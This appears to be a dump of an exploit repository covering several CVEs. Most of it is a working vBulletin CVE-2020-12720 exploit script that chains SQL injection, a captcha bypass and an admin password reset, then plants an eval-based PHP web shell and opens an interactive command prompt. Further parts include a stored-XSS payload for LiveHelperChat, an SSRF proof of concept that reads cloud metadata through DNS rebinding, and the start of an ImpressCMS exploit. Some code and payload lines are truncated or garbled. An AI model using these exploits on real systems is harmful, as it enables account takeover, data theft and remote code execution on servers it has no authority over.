├── CVE-2020-12720 ├── README.md └── exploit.py ├── CVE-2020-26134 └── README.md ├── CVE-2020-36474 ├── poc.py └── readme.md ├── CVE-2022-24977 ├── poc.py └── readme.md ├── README.md └── VestaCP ├── README.md ├── VestaFuncs.py ├── cert.pem ├── key.pem ├── requirements.txt ├── vestaATO.py ├── vestaEMAIL.py ├── vestaROOT.py ├── vestaXSS.py └── videos ├── vestaATO.mp4 ├── vestaEMAIL.mp4 ├── vestaROOT.mp4 └── vestaXSS.mp4 /CVE-2020-12720/README.md: -------------------------------------------------------------------------------- 1 | vulnerability discovered by cfreal, this is just an exploit code discovered out of patch diff 2 | 3 | this is made to work with the default vbulletin captcha 4 | 5 | ``` 6 | $ python3 exploit.py http://localhost/vb/ 7 | [+] Host is up and vulnerable 8 | [+] Table prefix tableprefix_ 9 | [+] admin original token $2y$15$lP7uTPrHIE6JTGnWI3rTCOGp9YEMUX72NrJSAEXGgIFxy/.RqMl.a 10 | [+] Captcha ZY3E2a 11 | [+] Resetting password 12 | [!] new admin credentials {admin:P4$$w0rd!} 13 | [+] Writing shell 14 | [!] GOT SHELL 15 | > id 16 | uid=33(www-data) gid=33(www-data) groups=33(www-data) 17 | > whoami 18 | www-data 19 | > ls 20 | LICENSE 21 | config.php 22 | config.php.bkp 23 | core 24 | favicon.ico 25 | fonts 26 | htaccess.txt 27 | images 28 | includes 29 | index.php 30 | js 31 | web.config 32 | > 33 | ``` 34 | -------------------------------------------------------------------------------- /CVE-2020-12720/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # rekter0, zenofex 3 | 4 | import requests 5 | import sys 6 | from random import randint 7 | 8 | if (len(sys.argv)<2 ): 9 | print('[*] usage: ./'+sys.argv[0]+' http://host/forum') 10 | exit() 11 | 12 | url = sys.argv[1] 13 | 14 | #CHECK 15 | s = requests.Session() 16 | r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"vbulletinrcepoc",8,7,6,5,4,3,2,1;-- -'}) 17 | 18 | if not 'vbulletinrcepoc' in r.text: 19 | print('[-] not vulnerable') 20 | exit() 21 | 22 | print('[+] Host is up and vulnerable') 23 | 24 | # GET TABLES PREFIXES 25 | r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';-- -'}) 26 | table_prefix=r.json()['rawtext'].split('language')[0] 27 | 28 | print('[+] Table prefix '+table_prefix) 29 | 30 | # GET ADMIN DETAILS 31 | # assuming admin groupid=6, default install groups unchanged 32 | r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from '+table_prefix+'user where usergroupid=6;-- -'}) 33 | admin_user,admin_id,admin_email,admin_orig_token = r.json()['rawtext'].split('|') 34 | print('[+] admin original token '+admin_orig_token) 35 | 36 | 37 | # REQUEST CAPTCHA 38 | r = s.post(url+'/ajax/api/hv/generateToken?',headers={'X-Requested-With': 'XMLHttpRequest'},data={'securitytoken':'guest'}) 39 | rhash=r.json()['hash'] 40 | r = s.get(url+'/hv/image?hash='+rhash) 41 | 42 | 43 | 44 | # GET CAPTCHA 45 | r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit 0,1-- -'}) 46 | 47 | #print r.text 48 | r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit '+str(int(r.json()['rawtext'])-1)+',1-- -'}) 49 | 50 | 51 | # REQUEST NEW PW 52 | CAPTCHA=r.json()['rawtext'] 53 | 54 | 55 | print('[+] Captcha '+CAPTCHA) 56 | 57 | r = s.post(url+'/auth/lostpw', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'email':admin_email,'humanverify[input]':CAPTCHA,'humanverify[hash]':rhash,'securitytoken':'guest'}) 58 | if not r.json()['response']==None: 59 | print('[-] reset pw failed') 60 | exit() 61 | 62 | print('[+] Resetting password') 63 | # RETRIEVE RESET TOKEN FROM DB 64 | # GET CAPTCHA 65 | r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from '+table_prefix+'useractivation WHERE userid='+admin_id+' limit 0,1-- -'}) 66 | TOKEN=r.json()['rawtext'] 67 | 68 | 69 | # RESET PW 70 | r = s.post(url+'/auth/reset-password', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'userid':admin_id,'activationid':TOKEN,'new-password':'P4$$w0rd!','new-password-confirm':'P4$$w0rd!','securitytoken':'guest'}) 71 | if not 'Logging in' in r.text: 72 | print('[-] fail') 73 | exit() 74 | print('[!] new admin credentials {'+admin_user+':P4$$w0rd!}') 75 | 76 | 77 | # LOGIN 78 | r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'username':admin_user,'password':'P4$$w0rd!','securitytoken':'guest'}) 79 | TOKEN = r.json()['newtoken'] 80 | 81 | print('[+] Writing shell') 82 | #ACTIVATE SITE-BUILDER 83 | r = s.post(url+'/ajax/activate-sitebuilder', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'pageid':'1','nodeid':'0','userid':'1','loadMenu':'false','isAjaxTemplateRender':'true','isAjaxTemplateRenderWithData':'true','securitytoken':TOKEN}) 84 | 85 | r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'logintype':'cplogin','userid':admin_id,'password':'P4$$w0rd!','securitytoken':TOKEN}) 86 | 87 | # SAVE WIDGET 88 | r = s.post(url+'/ajax/api/widget/saveNewWidgetInstance', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':TOKEN}) 89 | widgetinstanceid = r.json()['widgetinstanceid'] 90 | pagetemplateid = r.json()['pagetemplateid'] 91 | 92 | r = s.post(url+'/ajax/api/widget/saveAdminConfig', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'widgetid':'23','pagetemplateid':pagetemplateid,'widgetinstanceid':widgetinstanceid,'data[widget_type]':'','data[title]':'Unconfigured+PHP+Module','data[show_at_breakpoints][desktop]':'1','data[show_at_breakpoints][small]':'1','data[show_at_breakpoints][xsmall]':'1','data[hide_title]':'0','data[module_viewpermissions][key]':'show_all','data[code]':'eval($_GET["e"]);','securitytoken':TOKEN}) 93 | 94 | 95 | #SAVE PAGE 96 | myshell = 'myshell'+str(randint(10, 100)) 97 | r = s.post(url+'/admin/savepage', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'input[ishomeroute]':'0','input[pageid]':'0','input[nodeid]':'0','input[userid]':admin_id,'input[screenlayoutid]':'2','input[templatetitle]':myshell,'input[displaysections[0]]':'[]','input[displaysections[1]]':'[]','input[displaysections[2]]':'[{"widgetId":"23","widgetInstanceId":"'+str(widgetinstanceid)+'"}]','input[displaysections[3]]':'[]','input[pagetitle]':myshell,'input[resturl]':myshell,'input[metadescription]':'vBulletin Forums','input[pagetemplateid]':pagetemplateid,'url':url,'securitytoken':TOKEN}) 98 | 99 | 100 | r = s.get(url+'/'+myshell+'?e=echo \'pwwwwwwwwwwwwwwwwwwned!\';', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} ) 101 | if 'pwwwwwwwwwwwwwwwwwwned' in r.text: 102 | print('[!] GOT SHELL') 103 | while True: 104 | cmd = input('> ') 105 | r = s.get(url+'/'+myshell+'?e=system(\''+cmd+'\');', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} ) 106 | print(r.text.split('
')[1].split('
')[0].strip().rstrip()) 107 | 108 | -------------------------------------------------------------------------------- /CVE-2020-26134/README.md: -------------------------------------------------------------------------------- 1 | 2 | # CVE-2020-26134 3 | 4 | ## description 5 | Live Helper Chat before 3.44v allows stored XSS in chat messages with an operator via BBCode. 6 | 7 | > ------------------------------------------ 8 | > 9 | > [Vulnerability Type] 10 | > Cross Site Scripting (XSS) 11 | > 12 | > ------------------------------------------ 13 | > 14 | > [Vendor of Product] 15 | > LiveHelperChat 16 | > 17 | > ------------------------------------------ 18 | > 19 | > [Affected Product Code Base] 20 | > https://github.com/LiveHelperChat/livehelperchat - versions < 3.44 21 | > 22 | > ------------------------------------------ 23 | > 24 | > [Affected Component] 25 | > stored xss in chat messages with operator 26 | > 27 | > ------------------------------------------ 28 | 29 | 30 | ## vulnerability 31 | livehelperchat allows bbcode usage, but the parser fails to sanitize the message when combined with url, (url parser fail) to insert them into webpage correctly. 32 | different bbcodes can be abused 33 | ``` 34 | '/\[list\=(.*?)\](.*?)\[\/list\]/ms', 35 | '/\[fs(.*?)\](.*?)\[\/fs(.*?)\]/ms', 36 | '/\[color\=(.*?)\](.*?)\[\/color\]/ms' 37 | ``` 38 | 39 | example payload 40 | 41 | ```[list=">
    ") 9 | print("usage: ./"+sys.argv[0]+" http://target_host/vanilla_path simpleuser simpleuser22 latest/meta-data/ rebinder.host") 10 | exit() 11 | 12 | s = requests.Session() 13 | 14 | hst = sys.argv[1] 15 | usr = sys.argv[2] 16 | pwd = sys.argv[3] 17 | metadata_path = sys.argv[4] 18 | rbdrhst = sys.argv[5] 19 | 20 | headers = { 21 | 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', 22 | 'X-Requested-With': 'XMLHttpRequest', 23 | 'Referer': hst+'/vanilla/index.php?p=/entry/signin' 24 | } 25 | 26 | r = s.get(hst+"/index.php?p=/entry/signin") 27 | tkey=re.findall(r'',r.text)[0] 28 | 29 | login_data={ 30 | "TransientKey": tkey, 31 | "Email": usr, 32 | "Password": pwd, 33 | "DeliveryType": "VIEW", 34 | "RememberMe": "1", 35 | "DeliveryMethod": "JSON", 36 | "Target": "discussions", 37 | } 38 | r =s.post(hst+'/index.php?p=/entry/signin', data=login_data, headers=headers) 39 | 40 | if('Please wait while you are redirected. If you are not redirected, click' in r.text): 41 | msg=None 42 | while(msg==None): 43 | r =s.post(hst+'/api/v2/media/scrape', data={'url':'http://'+rbdrhst+'/'+metadata_path}, headers=headers) 44 | ret=json.loads(r.text) 45 | try: 46 | msg=ret["body"] 47 | except Exception as e: 48 | #print(ret) 49 | msg=None 50 | else: 51 | print('login failed') 52 | 53 | print(msg) 54 | -------------------------------------------------------------------------------- /CVE-2020-36474/readme.md: -------------------------------------------------------------------------------- 1 | ### Vulnerability analysis 2 | https://r0.haxors.org/posts?id=13 -------------------------------------------------------------------------------- /CVE-2022-24977/poc.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import string 3 | import requests 4 | from multiprocessing.dummy import Pool as ThreadPool 5 | if len(sys.argv)<3: 6 | print('python '+sys.argv[0]+' http://localhost 1') 7 | print('python '+sys.argv[0]+' http://localhost 2') 8 | exit() 9 | HOST = sys.argv[1] 10 | PATH = '/editors/CKeditor/ceditfinder/imageeditor/processImage.php' 11 | sess_name = 'letspwnimpressCMS' 12 | headers = { 13 | 'Connection': 'close', 14 | 'Cookie': 'PHPSESSID=' + sess_name 15 | } 16 | payload = ' 18 | Warning: Use of undefined constant a - assumed 'a' (this will throw an Error in a future version of PHP) in /var/www/html/uploads/bb.php on line 1
    19 | 20 | 21 |